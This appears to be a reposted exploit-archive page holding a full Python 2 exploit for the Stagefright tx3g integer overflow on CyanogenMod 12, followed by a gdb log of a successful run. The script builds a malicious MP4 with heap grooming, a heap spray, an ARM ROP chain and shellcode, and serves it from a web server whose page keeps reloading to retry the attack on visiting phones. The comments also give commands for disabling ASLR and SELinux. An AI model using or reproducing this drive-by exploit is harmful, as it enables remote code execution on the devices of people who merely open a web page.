CyanogenMod 12 Stagefright (.MP4 tx3g Integer Overflow) Remote Code Execution Ex
|
来源:marcinguy@gmail.com 作者:Kozlowski 发布时间:2017-04-11
|
|
#!/usr/bin/python2 # # CyanogenMod 12 Stagefright (.MP4 tx3g Integer Overflow) Exploit Remote Code Execution # Author: Marcin Kozlowski (marcinguy@gmail.com) # Based on: https://googleprojectzero.blogspot.com/2015/09/stagefrightened.html # # On CyanogenMod make sure your ROM is compiled to use jemalloc (not dlmalloc). With dlmalloc I wasnt able to exploit this. vtable was very far away, actually before the buffer. How to overwrite it ? :/ # cat device/samsung/msm8226-common/BoardConfigCommon.mk ##Memory ##MALLOC_IMPL := dlmalloc #MALLOC_IMPL := jemalloc # # In my tests, I disabled ASLR and SELinux, the second one must be disabled for it to work, seems like mediaserver process is sandboxed, the first make it easier to exploit (no need to guess libc_base). Heap has to be alligned as predicted, pssh at 0xb0503000 (Should happen after you run the exploit for few minutes). May need adjustment for you mobile. # echo 0 > /proc/sys/kernel/randomize_va_space # echo 0 > /sys/fs/selinux/enforce # # vtable offset was different than in G0 exploit, also the Heap was sprayed differently in this exploit version. # # Gadget pop {r0, r1, r2, r3, pc} was not in my standard CyanogenMod build for my mobile, so I built it into /system/lib/libc.so, not to spend too much time on ROP Stack # # # Tested on Samsung Galaxy S3 Neo+ GT-I9301I # # root@s3ve3g:/ # ls /root # pwned # root@s3ve3g:/ # # # Provided for legal security research and testing purposes ONLY import cherrypy import os import pwnlib.asm as asm import pwnlib.elf as elf import sys import struct # #PoC Shellcode. Create /root/pwned file on mobile # #Make sure /root is writeable by media user or all (chmod 777 /root) shellcode = bytearray("\x01\x60\x8f\xe2" "\x16\xff\x2f\xe1" "\x78\x46" "\x10\x30" "\xff\x21" "\xff\x31" "\x01\x31" "\x08\x27" "\x01\xdf" "\x40\x40" "\x01\x27" "\x01\xdf" "\x2f\x72\x6f\x6f" "\x74\x2f\x70\x77" "\x6e\x65" "\x64") print "Shellcode length:"+str(len(shellcode)) while len(shellcode) % 4 != 0: shellcode += '\x00' # heap grooming configuration alloc_size = 0x20 groom_count = 0x4 spray_size = 0x100000 spray_count = 0x10 # address of the buffer we allocate for our shellcode mmap_address = 0x90000000 # addresses that we need to predict libc_base = 0xb6ef5000 spray_address = 0xb0503000 # ROP gadget addresses stack_pivot = None stack_pivot1 = None pop_pc = None pop_r0_r1_r2_r3_pc = None pop_r4_r5_r6_r7_pc = None ldr_lr_bx_lr = None ldr_lr_bx_lr_stack_pad = 0 mmap64 = None memcpy = None def find_arm_gadget(e, gadget): gadget_bytes = asm.asm(gadget, arch='arm') gadget_address = None for address in e.search(gadget_bytes): if address % 4 == 0: gadget_address = address if gadget_bytes == e.read(gadget_address, len(gadget_bytes)): print asm.disasm(gadget_bytes, vma=gadget_address, arch='arm') break return gadget_address def find_thumb_gadget(e, gadget): gadget_bytes = asm.asm(gadget, arch='thumb') gadget_address = None for address in e.search(gadget_bytes): if address % 2 == 0: gadget_address = address + 1 if gadget_bytes == e.read(gadget_address - 1, len(gadget_bytes)): print asm.disasm(gadget_bytes, vma=gadget_address-1, arch='thumb') break return gadget_address def find_gadget(e, gadget): gadget_address = find_thumb_gadget(e, gadget) if gadget_address is not None: return gadget_address return find_arm_gadget(e, gadget) def find_rop_gadgets(path): global memcpy global mmap64 global stack_pivot global stack_pivot1 global pop_pc global pop_r0_r1_r2_r3_pc global pop_r4_r5_r6_r7_pc global ldr_lr_bx_lr global ldr_lr_bx_lr_stack_pad e = elf.ELF(path) e.address = libc_base memcpy = e.symbols['memcpy'] print '[*] memcpy : 0x{:08x}'.format(memcpy) mmap64 = e.symbols['mmap64'] print '[*] mmap64 : 0x{:08x}'.format(mmap64) # .text:00013344 ADD R2, R0, #0x4C # .text:00013348 LDMIA R2, {R4-LR} # .text:0001334C TEQ SP, #0 # .text:00013350 TEQNE LR, #0 # .text:00013354 BEQ botch_0 # .text:00013358 MOV R0, R1 # .text:0001335C TEQ R0, #0 # .text:00013360 MOVEQ R0, #1 # .text:00013364 BX LR pivot_asm = '' pivot_asm += 'add r2, r0, #0x4c\n' pivot_asm += 'ldmia r2, {r4 - lr}\n' pivot_asm += 'teq sp, #0\n' pivot_asm += 'teqne lr, #0' stack_pivot = find_arm_gadget(e, pivot_asm) print '[*] stack_pivot : 0x{:08x}'.format(stack_pivot) pop_pc_asm = 'pop {pc}' pop_pc = find_gadget(e, pop_pc_asm) print '[*] pop_pc : 0x{:08x}'.format(pop_pc) pop_r0_r1_r2_r3_pc = find_gadget(e, 'pop {r0, r1, r2, r3, pc}') print '[*] pop_r0_r1_r2_r3_pc : 0x{:08x}'.format(pop_r0_r1_r2_r3_pc) pop_r4_r5_r6_r7_pc = find_gadget(e, 'pop {r4, r5, r6, r7, pc}') print '[*] pop_r4_r5_r6_r7_pc : 0x{:08x}'.format(pop_r4_r5_r6_r7_pc) ldr_lr_bx_lr_stack_pad = 0 for i in range(0, 0x100, 4): ldr_lr_bx_lr_asm = 'ldr lr, [sp, #0x{:08x}]\n'.format(i) ldr_lr_bx_lr_asm += 'add sp, sp, #0x{:08x}\n'.format(i + 8) ldr_lr_bx_lr_asm += 'bx lr' ldr_lr_bx_lr = find_gadget(e, ldr_lr_bx_lr_asm) if ldr_lr_bx_lr is not None: ldr_lr_bx_lr_stack_pad = i break def pad(size): return '#' * size def pb32(val): return struct.pack(">I", val) def pb64(val): return struct.pack(">Q", val) def p32(val): return struct.pack("<I", val) def p64(val): return struct.pack("<Q", val) def chunk(tag, data, length=0): if length == 0: length = len(data) + 8 if length > 0xffffffff: return pb32(1) + tag + pb64(length)+ data return pb32(length) + tag + data def alloc_avcc(size): avcc = 'A' * size return chunk('avcC', avcc) def alloc_hvcc(size): hvcc = 'H' * size return chunk('hvcC', hvcc) def sample_table(data): stbl = '' stbl += chunk('stco', '\x00' * 8) stbl += chunk('stsc', '\x00' * 8) stbl += chunk('stsz', '\x00' * 12) stbl += chunk('stts', '\x00' * 8) stbl += data return chunk('stbl', stbl) def memory_leak(size): pssh = 'leak' pssh += 'L' * 16 pssh += pb32(size) pssh += 'L' * size return chunk('pssh', pssh) def heap_spray(size): pssh = 'spry' pssh += 'S' * 16 pssh += pb32(size) page = '' nop = asm.asm('nop', arch='thumb') while len(page) < 28: page += nop page += p32(stack_pivot) page += p32(pop_r0_r1_r2_r3_pc) # mmap64(mmap_address, # 0x1000, # PROT_READ | PROT_WRITE | PROT_EXECUTE, # MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, # -1, # 0); page += p32(mmap_address) # r0 = address page += p32(0x1000) # r1 = size page += p32(7) # r2 = protection page += p32(0x32) # r3 = flags page += p32(ldr_lr_bx_lr) # pc page += pad(ldr_lr_bx_lr_stack_pad) page += p32(pop_r4_r5_r6_r7_pc) # lr page += pad(4) page += p32(0x44444444) # r4 page += p32(0x55555555) # r5 page += p32(0x66666666) # r6 page += p32(0x77777777) # r7 page += p32(mmap64) # pc page += p32(0xffffffff) # fd (and then r4) page += pad(4) # padding (and then r5) page += p64(0) # offset (and then r6, r7) page += p32(pop_r0_r1_r2_r3_pc) # pc # memcpy(shellcode_address, # spray_address + len(rop_stack), # len(shellcode)); page += p32(mmap_address) # r0 = dst page += p32(spray_address + 0x12c) # r1 = src page += p32(0x110) page += p32(0x33333333) # r3 page += p32(ldr_lr_bx_lr) # pc page += pad(ldr_lr_bx_lr_stack_pad) page += p32(pop_r4_r5_r6_r7_pc) # lr page += pad(4) page += p32(0x44444444) # r4 page += p32(0x55555555) # r5 page += p32(0x66666666) # r6 page += p32(0x77777777) # r7 page += p32(memcpy) # pc page += p32(0x44444444) # r4 page += p32(0x55555555) # r5 page += p32(0x66666666) # r6 page += p32(0x77777777) # r7 page += p32(mmap_address + 80) # pc while len(page) < 0x1000: page += shellcode pssh += page * (size // 0x1000) return chunk('pssh', pssh) def exploit_mp4(): ftyp = chunk("ftyp","69736f6d0000000169736f6d".decode("hex")) trak = '' # heap spray so we have somewhere to land our corrupted vtable # pointer # yes, we wrap this in a sample_table for a reason; the # NuCachedSource we will be using otherwise triggers calls to mmap, # leaving our large allocations non-contiguous and making our chance # of failure pretty high. wrapping in a sample_table means that we # wrap the NuCachedSource with an MPEG4Source, making a single # allocation that caches all the data, doubling our heap spray # effectiveness :-) trak += sample_table(heap_spray(spray_size) * spray_count) # heap groom for our MPEG4DataSource corruption # get the default size allocations for our MetaData::typed_data # groom allocations out of the way first, by allocating small blocks # instead. trak += alloc_avcc(8) trak += alloc_hvcc(8) # we allocate the initial tx3g chunk here; we'll use the integer # overflow so that the allocated buffer later is smaller than the # original size of this chunk, then overflow all of the following # MPEG4DataSource object and the following pssh allocation; hence why # we will need the extra groom allocation (so we don't overwrite # anything sensitive...) # | tx3g | MPEG4DataSource | pssh | overflow = 'A' * 32 # | tx3g ----------------> | pssh | overflow += p32(spray_address) overflow += '0' * 0x48 overflow += '0000' # r4 overflow += '0000' # r5 overflow += '0000' # r6 overflow += '0000' # r7 overflow += '0000' # r8 overflow += '0000' # r9 overflow += '0000' # r10 overflow += '0000' # r11 overflow += '0000' # r12 overflow += p32(spray_address + 0x20) # sp overflow += p32(pop_pc) # lr trak += chunk("tx3g", overflow) # defragment the for alloc_size blocks, then make our two # allocations. we end up with a spurious block in the middle, from # the temporary ABuffer deallocation. # | pssh | - | pssh | trak += memory_leak(alloc_size) * groom_count # | pssh | - | pssh | .... | avcC | trak += alloc_avcc(alloc_size) # | pssh | - | pssh | .... | avcC | hvcC | trak += alloc_hvcc(alloc_size) # | pssh | - | pssh | pssh | avcC | hvcC | pssh | trak += memory_leak(alloc_size) * 8 # | pssh | - | pssh | pssh | avcC | .... | trak += alloc_hvcc(alloc_size * 2) # entering the stbl chunk triggers allocation of an MPEG4DataSource # object # | pssh | - | pssh | pssh | avcC | MPEG4DataSource | pssh | stbl = '' # | pssh | - | pssh | pssh | .... | MPEG4DataSource | pssh | stbl += alloc_avcc(alloc_size * 2) # | pssh | - | pssh | pssh | tx3g | MPEG4DataSource | pssh | # | pssh | - | pssh | pssh | tx3g ----------------> | overflow_length = (-(len(overflow) - 28) & 0xffffffffffffffff) stbl += chunk("tx3g", '', length = overflow_length) trak += chunk('stbl', stbl) return ftyp + chunk('trak', trak) index_page = ''' <!DOCTYPE html> <html> <head> <title>Stagefrightened!</title> </head> <body> <script> window.setTimeout('location.reload(true);', 400); </script> <iframe src='/exploit.mp4'></iframe> </body> </html> ''' class ExploitServer(object): exploit_file = None exploit_count = 0 @cherrypy.expose def index(self): self.exploit_count += 1 print '*' * 80 print 'exploit attempt: ' + str(self.exploit_count) print '*' * 80 return index_page @cherrypy.expose(["exploit.mp4"]) def exploit(self): cherrypy.response.headers['Content-Type'] = 'video/mp4' cherrypy.response.headers['Content-Encoding'] = 'gzip' if self.exploit_file is None: exploit_uncompressed = exploit_mp4() with open('exploit_uncompressed.mp4', 'wb') as tmp: tmp.write(exploit_uncompressed) os.system('gzip exploit_uncompressed.mp4') with open('exploit_uncompressed.mp4.gz', 'rb') as tmp: self.exploit_file = tmp.read() os.system('rm exploit_uncompressed.mp4.gz') return self.exploit_file def main(): find_rop_gadgets('libc.so') with open('exploit.mp4', 'wb') as tmp: tmp.write(exploit_mp4()) cherrypy.server.socket_host = '0.0.0.0' cherrypy.quickstart(ExploitServer()) if __name__ == '__main__': main() #################################################################################################### Exploitation log on Test Device #################################################################################################### (gdb) attach 24145 Attaching to program: /system/bin/mediaserver, process 24145 [New LWP 24146] [New LWP 24147] [New LWP 24148] [New LWP 24153] [New LWP 24154] [New LWP 24155] [New LWP 24156] [New LWP 24157] [New LWP 24158] [New LWP 24164] [New LWP 24165] [New LWP 24166] warning: Could not load shared library symbols for 15 libraries, e.g. camera.msm8226.so. Use the "info sharedlibrary" command to see the complete listing. Do you need "set solib-search-path" or "set sysroot"? Thread 1 "mediaserver" stopped. 0xb6f2d83c in __ioctl () from /system/lib/libc.so (gdb) cont Continuing. [New LWP 24305] [New LWP 24306] [New LWP 24317] [New LWP 24322] [New LWP 24323] [New LWP 24324] [New LWP 24326] Thread 1 "mediaserver" hit Breakpoint 3, 0xb6f05428 in _longjmp () from /system/lib/libc.so (gdb) stepi 0xb6f0542c in _longjmp () from /system/lib/libc.so (gdb) 0xb6f05430 in _longjmp () from /system/lib/libc.so (gdb) 0xb6f05434 in _longjmp () from /system/lib/libc.so (gdb) 0xb6f05438 in _longjmp () from /system/lib/libc.so (gdb) 0xb6f0543c in _longjmp () from /system/lib/libc.so (gdb) 0xb6f05440 in _longjmp () from /system/lib/libc.so (gdb) 0xb6f05444 in _longjmp () from /system/lib/libc.so (gdb) 0xb6f47974 in _Unwind_GetGR () from /system/lib/libc.so (gdb) 0xb6f45338 in pop () from /system/lib/libc.so (gdb) 0xb6f4835c in ___Unwind_RaiseException () from /system/lib/libc.so (gdb) 0xb6f48360 in ___Unwind_RaiseException () from /system/lib/libc.so (gdb) 0xb6f48364 in ___Unwind_RaiseException () from /system/lib/libc.so (gdb) [New LWP 24350] [New LWP 24349] 0xb6f03672 in __futex_wake_ex.constprop.0 () from /system/lib/libc.so (gdb) 0xb6f0c540 in mmap64 () from /system/lib/libc.so (gdb) 0xb6f0c544 in mmap64 () from /system/lib/libc.so (gdb) 0xb6f0c546 in mmap64 () from /system/lib/libc.so (gdb) 0xb6f0c54a in mmap64 () from /system/lib/libc.so (gdb) 0xb6f0c54c in mmap64 () from /system/lib/libc.so (gdb) 0xb6f0c550 in mmap64 () from /system/lib/libc.so (gdb) 0xb6f0c552 in mmap64 () from /system/lib/libc.so (gdb) 0xb6f0c556 in mmap64 () from /system/lib/libc.so (gdb) 0xb6f0c558 in mmap64 () from /system/lib/libc.so (gdb) 0xb6f0c55c in mmap64 () from /system/lib/libc.so (gdb) 0xb6f0c560 in mmap64 () from /system/lib/libc.so (gdb) 0xb6f0c564 in mmap64 () from /system/lib/libc.so (gdb) 0xb6f0c566 in mmap64 () from /system/lib/libc.so (gdb) [New LWP 24351] 0xb6f0c576 in mmap64 () from /system/lib/libc.so (gdb) 0xb6f0c57a in mmap64 () from /system/lib/libc.so (gdb) [New LWP 24352] 0xb6f0c57c in mmap64 () from /system/lib/libc.so (gdb) 0xb6f0c57e in mmap64 () from /system/lib/libc.so (gdb) 0xb6f0c582 in mmap64 () from /system/lib/libc.so (gdb) 0xb6f2da58 in __mmap2 () from /system/lib/libc.so (gdb) 0xb6f2da5c in __mmap2 () from /system/lib/libc.so (gdb) 0xb6f2da60 in __mmap2 () from /system/lib/libc.so (gdb) 0xb6f2da64 in __mmap2 () from /system/lib/libc.so (gdb) 0xb6f2da68 in __mmap2 () from /system/lib/libc.so (gdb) 0xb6f2da6c in __mmap2 () from /system/lib/libc.so (gdb) 0xb6f2da70 in __mmap2 () from /system/lib/libc.so (gdb) 0xb6f2da74 in __mmap2 () from /system/lib/libc.so (gdb) 0xb6f0c586 in mmap64 () from /system/lib/libc.so (gdb) 0xb6f0c588 in mmap64 () from /system/lib/libc.so (gdb) 0xb6f0c58a in mmap64 () from /system/lib/libc.so (gdb) 0xb6f0c58c in mmap64 () from /system/lib/libc.so (gdb) 0xb6f0c58e in mmap64 () from /system/lib/libc.so (gdb) 0xb6f0c590 in mmap64 () from /system/lib/libc.so (gdb) 0xb6f0c592 in mmap64 () from /system/lib/libc.so (gdb) 0xb6f0c5bc in mmap64 () from /system/lib/libc.so (gdb) 0xb6f0c5be in mmap64 () from /system/lib/libc.so (gdb) 0xb6f0c5c6 in mmap64 () from /system/lib/libc.so (gdb) 0xb6f0c5c8 in mmap64 () from /system/lib/libc.so (gdb) 0xb6f03672 in __futex_wake_ex.constprop.0 () from /system/lib/libc.so (gdb) 0xb6f45338 in pop () from /system/lib/libc.so (gdb) 0xb6f4835c in ___Unwind_RaiseException () from /system/lib/libc.so (gdb) 0xb6f48360 in ___Unwind_RaiseException () from /system/lib/libc.so (gdb) 0xb6f48364 in ___Unwind_RaiseException () from /system/lib/libc.so (gdb) 0xb6f03672 in __futex_wake_ex.constprop.0 () from /system/lib/libc.so (gdb) 0xb6f05fd0 in memcpy () from /system/lib/libc.so (gdb) 0xb6f05fd4 in memcpy () from /system/lib/libc.so (gdb) 0xb6f05fd8 in memcpy () from /system/lib/libc.so (gdb) 0xb6f05fdc in memcpy () from /system/lib/libc.so (gdb) 0xb6f05fe0 in memcpy () from /system/lib/libc.so (gdb) 0xb6f05fe4 in memcpy () from /system/lib/libc.so (gdb) 0xb6f05fe8 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06028 in memcpy () from /system/lib/libc.so (gdb) 0xb6f0602c in memcpy () from /system/lib/libc.so (gdb) 0xb6f06030 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06034 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06038 in memcpy () from /system/lib/libc.so (gdb) 0xb6f0603c in memcpy () from /system/lib/libc.so (gdb) 0xb6f06040 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06044 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06048 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06030 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06034 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06038 in memcpy () from /system/lib/libc.so (gdb) 0xb6f0603c in memcpy () from /system/lib/libc.so (gdb) 0xb6f06040 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06044 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06048 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06030 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06034 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06038 in memcpy () from /system/lib/libc.so (gdb) 0xb6f0603c in memcpy () from /system/lib/libc.so (gdb) 0xb6f06040 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06044 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06048 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06030 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06034 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06038 in memcpy () from /system/lib/libc.so (gdb) 0xb6f0603c in memcpy () from /system/lib/libc.so (gdb) 0xb6f06040 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06044 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06048 in memcpy () from /system/lib/libc.so (gdb) 0xb6f0604c in memcpy () from /system/lib/libc.so (gdb) 0xb6f06050 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06060 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06064 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06068 in memcpy () from /system/lib/libc.so (gdb) 0xb6f0606c in memcpy () from /system/lib/libc.so (gdb) 0xb6f06070 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06074 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06078 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06084 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06090 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06094 in memcpy () from /system/lib/libc.so (gdb) 0xb6f06098 in memcpy () from /system/lib/libc.so (gdb) 0xb6f0609c in memcpy () from /system/lib/libc.so (gdb) 0xb6f060a0 in memcpy () from /system/lib/libc.so (gdb) 0xb6f060a4 in memcpy () from /system/lib/libc.so (gdb) 0xb6f060a8 in memcpy () from /system/lib/libc.so (gdb) 0xb6f060ac in memcpy () from /system/lib/libc.so (gdb) 0xb6f03672 in __futex_wake_ex.constprop.0 () from /system/lib/libc.so (gdb) 0x90000050 in ?? () (gdb) 0x90000054 in ?? () (gdb) 0x90000058 in ?? () (gdb) 0x9000005a in ?? () (gdb) 0x9000005c in ?? () (gdb) 0x9000005e in ?? () (gdb) 0x90000060 in ?? () (gdb) 0x90000062 in ?? () (gdb) 0x90000064 in ?? () (gdb) 0x90000066 in ?? () (gdb) 0x90000068 in ?? () (gdb) 0x9000006a in ?? () (gdb) [LWP 24145 exited]
|
|
|
[推荐]
[评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
|
|
|
|
推荐广告 |
|
|
|
|